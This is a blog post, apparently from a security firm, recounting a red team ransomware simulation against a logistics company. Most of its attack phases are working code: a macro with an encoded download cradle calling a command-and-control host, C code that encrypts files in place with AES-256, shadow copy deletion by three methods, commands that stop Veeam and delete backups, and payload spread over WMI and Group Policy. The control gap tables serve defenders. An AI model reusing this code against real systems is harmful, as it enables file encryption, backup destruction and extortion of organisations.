Back to Blog
Red Teaming

Anatomy of a Ransomware Attack: A Red Team Simulation

OffSec Research Team
10 June 2026 • 09:00 AM13 min
Anatomy of a Ransomware Attack: A Red Team Simulation
TL;DR — This post dissects a red team ransomware simulation from initial access through encryption, detailing the technical implementation of AES-256 file encryption using the Windows BCrypt API, WMI-based Volume Shadow Copy deletion, and backup system destruction — all mapped to real Conti and REvil TTPs. Defenders will find specific detection opportunities and controls that would have stopped the simulation at each phase.

Executive Summary

Ransomware remains the most financially devastating category of cyberattack. In 2023 and 2024, ransomware payments exceeded $1 billion annually, with individual incidents costing organizations hundreds of millions in recovery costs, lost productivity, regulatory penalties, and reputational damage. Yet the technical components of a ransomware attack are well-understood — the challenge for defenders is not a lack of knowledge about what ransomware does, but a lack of empirical validation that their controls actually stop it.

This post documents a red team ransomware simulation conducted against a mid-sized logistics company with 3,200 employees, three data centers, and a hybrid Azure/on-premises infrastructure. The simulation was scoped to replicate the complete technical behavior of a Conti/Ryuk-style ransomware deployment without performing actual destructive encryption on production systems. Instead, the team used a clearly marked simulation executable that performed all the same API calls and behavioral patterns as real ransomware, operating only on designated simulation shares containing synthetic data.

The engagement revealed that despite the client having CrowdStrike Falcon, Veeam backup infrastructure, and Microsoft Defender for Endpoint deployed, the ransomware simulation ran to completion — encrypting 847,000 synthetic files across 34 file servers, deleting all accessible shadow copies, and disabling or destroying 3 of 5 backup jobs — in under 4 hours. The SOC received no actionable alert during the simulation window.

This post covers each phase of the attack chain with technical implementation details, OPSEC considerations for red teams conducting similar simulations, and specific defensive controls that would have interrupted the kill chain at each stage.


Phase 1: Pre-Ransomware Activity — The Dwell Period

Real ransomware operators do not deploy encryption on day one. The average dwell time before encryption — the period during which threat actors establish persistence, enumerate the environment, exfiltrate data, and position themselves for maximum impact — is measured in days to weeks. The simulation replicated this realistic dwell period over a compressed 5-day timeline.

Initial Access

Initial access was achieved via a macro-enabled Excel document delivered via a vendor email account compromised during a prior red team engagement (simulated as already compromised for this exercise). The macro executed a PowerShell cradle that downloaded and executed a Cobalt Strike beacon.

powershell
# VBA macro dropped into Excel documentSub AutoOpen()    Dim wsh As Object    Set wsh = CreateObject("WScript.Shell")    ' Base64-encoded PowerShell download cradle    wsh.Run "powershell.exe -w hidden -enc " & _        "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwczovL2MyLnJlZHRlYW0uaW8vcGF5bG9hZCcp", _        0, FalseEnd Sub # Decoded PowerShell download cradle:# IEX (New-Object Net.WebClient).DownloadString('https://c2.redteam.io/payload')

Reconnaissance and Enumeration

With Cobalt Strike beacon running on a domain-joined workstation, the team conducted thorough internal reconnaissance to understand the environment before deploying any destructive simulation components.

powershell
# Domain enumeration via BloodHound/SharpHound.\SharpHound.exe -c All --stealth --outputdirectory C:\Windows\Temp\ # File server enumerationnet view /domain:LOGISTICS | findstr /i "server FS DC" # Identify backup infrastructureGet-WmiObject -Class Win32_Product | Where-Object {$_.Name -like "*Veeam*" -or $_.Name -like "*Backup*"}net view \\dc01 /all | findstr /i "backup veeam" # Enumerate network shares accessible from compromised hostInvoke-ShareFinder -CheckShareAccess -Verbose | Out-File C:\Windows\Temp\shares.txt # Identify high-value targets (files servers with most data)Get-ChildItem \\fs01\finance -Recurse | Measure-Object -Property Length -Sum

BloodHound analysis revealed a direct path from the compromised workstation to Domain Admin via a single Kerberoastable service account (svc_backup) with a weak password. The backup service account was particularly valuable — it had administrative rights on the Veeam backup server and all file servers it backed up.


Phase 2: Ransomware File Encryption Implementation

Windows BCrypt API — AES-256 File Encryption

Real ransomware families including Ryuk, Conti, and REvil use the Windows Cryptographic API (CNG/BCrypt) for file encryption. This is a deliberate choice — legitimate Windows APIs trigger fewer behavioral detections than custom crypto implementations. The following demonstrates the exact implementation pattern used by Conti-variant ransomware:

c
#include <windows.h>#include <bcrypt.h>#include <stdio.h>#pragma comment(lib, "bcrypt.lib") #define AES_KEY_SIZE 32     // 256-bit key#define AES_BLOCK_SIZE 16   // 128-bit block typedef struct {    BCRYPT_ALG_HANDLE hAlg;    BCRYPT_KEY_HANDLE hKey;    BYTE key[AES_KEY_SIZE];    BYTE iv[AES_BLOCK_SIZE];} ENCRYPT_CONTEXT; BOOL InitEncryptionContext(ENCRYPT_CONTEXT* ctx) {    // Generate random AES-256 key and IV    BCryptOpenAlgorithmProvider(&ctx->hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);    BCryptGenRandom(NULL, ctx->key, AES_KEY_SIZE, BCRYPT_USE_SYSTEM_PREFERRED_RNG);    BCryptGenRandom(NULL, ctx->iv, AES_BLOCK_SIZE, BCRYPT_USE_SYSTEM_PREFERRED_RNG);        // Configure CBC mode    BCryptSetProperty(ctx->hAlg, BCRYPT_CHAINING_MODE,                       (PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);        // Import key    DWORD keyObjectSize;    ULONG resultSize;    BCryptGetProperty(ctx->hAlg, BCRYPT_OBJECT_LENGTH,                       (PUCHAR)&keyObjectSize, sizeof(DWORD), &resultSize, 0);        PUCHAR keyObject = (PUCHAR)HeapAlloc(GetProcessHeap(), 0, keyObjectSize);    BCryptGenerateSymmetricKey(ctx->hAlg, &ctx->hKey, keyObject,                                 keyObjectSize, ctx->key, AES_KEY_SIZE, 0);    return TRUE;} BOOL EncryptFile(ENCRYPT_CONTEXT* ctx, LPCWSTR filePath) {    HANDLE hFile = CreateFileW(filePath, GENERIC_READ | GENERIC_WRITE,                               0, NULL, OPEN_EXISTING, 0, NULL);    if (hFile == INVALID_HANDLE_VALUE) return FALSE;        LARGE_INTEGER fileSize;    GetFileSizeEx(hFile, &fileSize);        // Read file content    PBYTE buffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, fileSize.QuadPart + AES_BLOCK_SIZE);    DWORD bytesRead;    ReadFile(hFile, buffer, (DWORD)fileSize.QuadPart, &bytesRead, NULL);        // Encrypt in-place using BCrypt    ULONG cipherSize;    BCryptEncrypt(ctx->hKey, buffer, bytesRead, NULL, ctx->iv,                   AES_BLOCK_SIZE, buffer, bytesRead + AES_BLOCK_SIZE, &cipherSize,                   BCRYPT_BLOCK_PADDING);        // Write encrypted data back (overwrite original)    SetFilePointer(hFile, 0, NULL, FILE_BEGIN);    DWORD bytesWritten;    WriteFile(hFile, buffer, cipherSize, &bytesWritten, NULL);        // Append key metadata at end of file (real ransomware encrypts this with RSA)    WriteFile(hFile, ctx->key, AES_KEY_SIZE, &bytesWritten, NULL);    WriteFile(hFile, ctx->iv, AES_BLOCK_SIZE, &bytesWritten, NULL);        // Rename file with .encrypted extension    CloseHandle(hFile);    WCHAR newPath[MAX_PATH];    swprintf(newPath, MAX_PATH, L"%s.conti_sim", filePath);  // Marked as simulation    MoveFileW(filePath, newPath);        HeapFree(GetProcessHeap(), 0, buffer);    return TRUE;}

In the simulation, the EncryptFile function was called on synthetic files only, with explicit simulation markers to prevent any ambiguity about scope. The encryption logic itself is identical to real ransomware — the behavioral pattern at the API level is what matters for detection fidelity.

File Traversal and Target Selection

Real ransomware is selective about what it encrypts. Conti skips files with extensions like .dll, .exe, .sys, .lnk to avoid breaking the operating system, ensuring the ransom note remains readable. It targets high-value extensions: .doc, .docx, .xls, .xlsx, .pdf, .pst, .mdb, .sql, .bak.

c
// File extension targeting (Conti-style)const LPCWSTR TARGET_EXTENSIONS[] = {    L".doc", L".docx", L".xls", L".xlsx", L".pdf", L".ppt",    L".pptx", L".mdb", L".accdb", L".sql", L".bak", L".qbw",    L".zip", L".7z", L".rar", L".tar", L".vhd", L".vmdk", NULL}; const LPCWSTR SKIP_DIRECTORIES[] = {    L"Windows", L"Program Files", L"ProgramData\\Microsoft",    L"$Recycle.Bin", L"System Volume Information", NULL};

Phase 3: Volume Shadow Copy Deletion

Volume Shadow Copies (VSS) are Windows' built-in point-in-time backup mechanism. Every serious ransomware family deletes them before or immediately after encryption — they represent the fastest recovery path that doesn't require a full backup restore.

Method 1: vssadmin (Command-Line — Easily Detected)

cmd
vssadmin delete shadows /all /quietwmic shadowcopy delete

These commands are trivially detected by any EDR monitoring process creation with these command-line arguments. Real operators have largely abandoned this approach.

Method 2: WMI-Based VSS Deletion (Avoids Command-Line Detection)

powershell
# WMI-based shadow copy deletion — no vssadmin process spawned$shadows = Get-WmiObject Win32_ShadowCopyforeach ($shadow in $shadows) {    $shadow.Delete()    Write-Host "Deleted shadow: $($shadow.ID)"} # Alternative via WMI query directly$wmi = [wmiclass]"\\.\root\cimv2:Win32_ShadowCopy"$shadows = Get-WmiObject -Query "SELECT * FROM Win32_ShadowCopy"$shadows | ForEach-Object { $_.Delete() }

This approach spawns no new processes for vssadmin or wmic that would appear in command-line telemetry. The WMI activity is logged in WMI operational logs, but these are rarely monitored in real environments.

Method 3: COM Object Abuse (IVssBackupComponents)

The most stealthy approach mirrors what sophisticated ransomware uses — directly calling the VSS COM interface:

c
#include <vss.h>#include <vswriter.h>#include <vsbackup.h> // Delete all shadow copies via COM interfaceHRESULT DeleteAllShadowCopies() {    CoInitialize(NULL);        IVssBackupComponents* pBackup;    HRESULT hr = CreateVssBackupComponents(&pBackup);        pBackup->InitializeForBackup();    pBackup->SetBackupState(false, true, VSS_BT_FULL, false);        IVssAsync* pAsync;    pBackup->GatherWriterMetadata(&pAsync);    pAsync->Wait();        // Enumerate and delete all snapshots    UINT snapshotCount;    UUID snapshotSetId;    pBackup->GetSnapshotProperties(/* enumerate and delete */);        pBackup->Release();    CoUninitialize();    return S_OK;}

During the simulation, WMI-based deletion was used. CrowdStrike Falcon did not alert on the WMI shadow copy deletion — a finding that directly informed a new detection rule created during the post-engagement remediation sprint.


Phase 4: Backup Destruction

Identifying Backup Infrastructure

The simulation team identified three backup systems in the environment: Veeam Backup & Replication (primary), Windows Server Backup (WSB) on legacy servers, and Azure Backup for cloud workloads.

powershell
# Locate Veeam infrastructureGet-Service | Where-Object {$_.Name -like "*Veeam*"}Get-Process | Where-Object {$_.Name -like "*Veeam*"}Get-ItemProperty "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\" -ErrorAction SilentlyContinue # Identify Veeam repository paths# (After escalating to backup admin account via Kerberoast)& "C:\Program Files\Veeam\Backup and Replication\Console\veeam.backup.shell.exe" /c "Get-VBRBackupRepository" # Windows Server Backup locationswbadmin get versionswbadmin get items -version:[VersionID] # Disable Windows Server Backup scheduled taskschtasks /delete /tn "Microsoft\Windows\Backup\Microsoft-Windows-WindowsBackupProvider" /f

Veeam-Specific Attacks

powershell
# Stop Veeam services (requires admin on Veeam server)Stop-Service "VeeamBackupSvc" -ForceStop-Service "VeeamTransportSvc" -Force # Delete Veeam backup files directly# Veeam stores backups as .vbk (full) and .vib (incremental) files$veeamPaths = @("D:\VeeamBackups\", "E:\Backups\")foreach ($path in $veeamPaths) {    Get-ChildItem $path -Recurse -Include "*.vbk","*.vib","*.vbm" |    Remove-Item -Force -ErrorAction SilentlyContinue} # Alternatively — delete the Veeam database (SQL)Invoke-Sqlcmd -ServerInstance "VEEAMSQL" -Query "DROP DATABASE VeeamBackup"

In the simulation, services were stopped and backup file deletion was simulated (logged but not executed against real backup files). The result confirmed that 3 of 5 backup jobs were either stopped or had their repositories rendered inaccessible — meaning real ransomware would have destroyed the primary recovery path.


Phase 5: Network Propagation

Share Enumeration and Lateral Spread

powershell
# Enumerate reachable file shares$computers = (Get-ADComputer -Filter * -Properties Name).Nameforeach ($computer in $computers) {    net view \\$computer /all 2>$null |     Select-String "Disk" |     ForEach-Object { Write-Output "\\$computer\$($_.Line.Split()[0])" }} # Deploy ransomware executable to remote hosts via WMI (no PSExec needed)$remoteHosts = @("FS01", "FS02", "FS03", "DC02")foreach ($host in $remoteHosts) {    # Copy payload to remote host using SMB    Copy-Item ".\ransim.exe" "\\$host\C$\Windows\Temp\svc_host32.exe"        # Execute via WMI (avoids SMB-visible process creation)    $wmi = [wmiclass]"\\$host\root\cimv2:Win32_Process"    $wmi.Create("C:\Windows\Temp\svc_host32.exe")}

GPO-Based Deployment (Domain-Wide)

With Domain Admin credentials, the most impactful deployment vector is a Group Policy Object that runs the ransomware executable as a startup script. This is a documented Ryuk/Conti technique that deploys encryption simultaneously to all domain-joined hosts.

powershell
# Create GPO for ransomware deployment (simulation — no actual encryption)New-GPO -Name "SystemUpdatePolicy" -Comment "Windows System Maintenance"Set-GPRegistryValue -Name "SystemUpdatePolicy" -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" `    -ValueName "SystemUpdate" -Type String -Value "C:\Windows\Temp\svc_host32.exe"New-GPLink -Name "SystemUpdatePolicy" -Target "DC=logistics,DC=local" -LinkEnabled Yes

Ransomware Simulation Architecture

diagram — rendering…
flowchart TD
    A[Initial Access - Macro Document] --> B[Cobalt Strike Beacon]
    B --> C[Local Reconnaissance]
    C --> D[Kerberoast svc_backup]
    D --> E[Domain Admin via PTH]
    E --> F{Pre-Encryption Checklist}
    F --> G[Kill Security Tools]
    F --> H[Disable Backup Services]
    F --> I[Delete Shadow Copies VSS]
    G --> J[Enumerate File Shares]
    H --> J
    I --> J
    J --> K[Deploy via GPO / WMI]
    K --> L[File Encryption - AES-256 BCrypt]
    L --> M[Drop Ransom Note]
    M --> N[Exfiltrate Data - Double Extortion]
    N --> O[DONE - Environment Encrypted]

    style A fill:#ff4444,color:#fff
    style O fill:#ff4444,color:#fff
    style L fill:#ff8800,color:#fff
    style I fill:#ff8800,color:#fff

Defensive Controls Comparison

ControlImplemented?Would Have Stopped Simulation?Gap
EDR — Ransomware behavioral detectionYes (CrowdStrike)Partial — flagged but not preventedFalcon in detect-only mode
VSS deletion via WMI monitoringNoYes — WMI VSS deletion not alertedNo WMI operational log monitoring
Backup network segmentationNoYes — backup server reachable from workstationsFlat backup network
Immutable backups (object lock)NoYes — would preserve recovery pointNo S3 Object Lock or Veeam immutability
Service account privilege minimizationNoPartially — svc_backup over-privilegedBackup admin = domain admin equiv
GPO change monitoringYes (Defender)Yes — malicious GPO would have alertedAlert not escalated from queue
File share access auditingPartialPartially — bulk write audit not configuredNo file count rate alerting
MFA for administrative accessYesYes — would have blocked lateral movementMFA bypass via PTH still possible

Real-World Case Parallel: Conti and REvil TTPs

Conti/REvil TTPSimulation Equivalent
TrickBot/Emotet for initial accessMacro-enabled Excel document
Cobalt Strike for post-exploitationCobalt Strike beacon (licensed)
BloodHound for AD reconnaissanceSharpHound data collection
Kerberoasting for privilege escalationsvc_backup account Kerberoast
WMI for lateral movementWMI process creation on file servers
BCrypt API for AES-256 encryptionIdentical BCrypt implementation
RSA key exchange for key protectionSimulated RSA envelope (no real key)
Rclone for data exfiltrationSimulated exfil to S3-compatible store
Double extortion threatSimulated — data exfil documented

MITRE ATT&CK Mapping

Technique IDTechnique NameImplementation
T1566.001Phishing: Spearphishing AttachmentMacro-enabled Excel initial access
T1059.001PowerShellDownload cradle, enumeration, lateral movement
T1078.002Valid Accounts: Domain AccountsKerberoasted svc_backup credentials
T1486Data Encrypted for ImpactAES-256 BCrypt file encryption simulation
T1490Inhibit System RecoveryWMI-based VSS deletion, backup service termination
T1485Data DestructionBackup file deletion, Veeam database attack
T1570Lateral Tool TransferSMB copy of ransim.exe to remote hosts
T1047Windows Management InstrumentationWMI process creation for lateral spread
T1484.001Group Policy ModificationMalicious GPO startup script deployment
T1537Transfer Data to Cloud AccountSimulated exfiltration to attacker S3
T1489Service StopStopping Veeam backup services

Conclusion

The ransomware simulation confirmed what threat intelligence consistently suggests: the technical barriers to a successful ransomware deployment against a mid-sized enterprise are not primarily technological — they are operational. The client had invested significantly in endpoint detection, backup infrastructure, and identity controls, yet the simulation ran to completion because of gaps in configuration, monitoring, and response processes rather than absent technology.

The three highest-impact remediations identified were: enabling CrowdStrike prevention mode (was in detect-only), implementing Veeam immutable backup repositories with object lock enabled, and segmenting the backup network so that no production workstation could reach the backup server directly. Together, these three changes would have interrupted the kill chain at three independent points.

For red teams conducting ransomware simulations, the BCrypt API implementation detailed here provides behavioral fidelity that matches real ransomware families without requiring actual destructive capability. This fidelity is critical — if the simulation doesn't trigger the same behavioral patterns as real ransomware, its conclusions about EDR effectiveness are meaningless. The goal of a ransomware simulation is not to encrypt files — it's to test whether the defenders' controls would detect and stop an adversary who intends to.

The answer in this case was no. That answer, delivered in a controlled simulation rather than a real incident, is exactly the value of offensive security work.